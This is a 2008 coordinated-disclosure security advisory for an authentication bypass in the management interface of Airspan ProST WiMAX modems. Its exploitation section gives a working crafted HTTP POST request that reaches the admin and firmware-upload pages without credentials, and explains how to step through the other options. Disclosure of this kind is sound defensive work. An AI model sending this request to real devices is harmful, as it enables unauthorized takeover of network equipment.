Topic: Airspan ProST Modem Management Authentication Bypass Vulnerability

Announced: 2008-03-13

Product: Airspan ProST Antenna

Vendor: http://www.airspan.com/

Impact: Remote shell access

Affected product: Airspan ProST with firmware < 6.5.40.0, Hardware rev < 4.1

Credits: Francis Lacoste-Cordeau

I. BACKGROUND

Airspan is a worldwide leader in broadband wireless with over 400 customers

in more than 100 countries. As a founding member of the WiMAX forum, Airspan

has led the way in WiMAX, being among the first wave of companies to achieve

certification for its Base Station and End User Devices.

http://www.airspan.com/

II. DESCRIPTION

Remote exploitation of an authentication bypass vulnerability in Airspan ProST

Modem management allows attackers to access all options available in administration panel.

This issue is due to a failure of the application to properly handle access validation

functionality. The access gained through this issue grants admin privileges.

III. EXPLOITATION

The attacker have to craft a malicious request.

Example:

POST /process_adv/ HTTP/1.1

Host: 10.0.0.1

Keep-Alive: 300

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

DialogText=&Advanced=1

It will display options page number #1, which is Software Download for Firmware upgrade.

You can increment 'Advanced' value to see others options.

IV. WORKAROUND

There's actually no workaround of this issue.

V. VENDOR RESPONSE

Airspan has addressed this vulnerability and will fix this problem with a firmware update.

VI. DISCLOSURE TIMELINE

15/10/2007 Initial vendor notification

16/10/2007 Initial vendor response

13/03/2008 Coordinated public disclosure

VI. CREDIT

Francis Lacoste-Cordeau(admin (at) nexact (dot) net [email concealed]) is credited with discovering this vulnerability.

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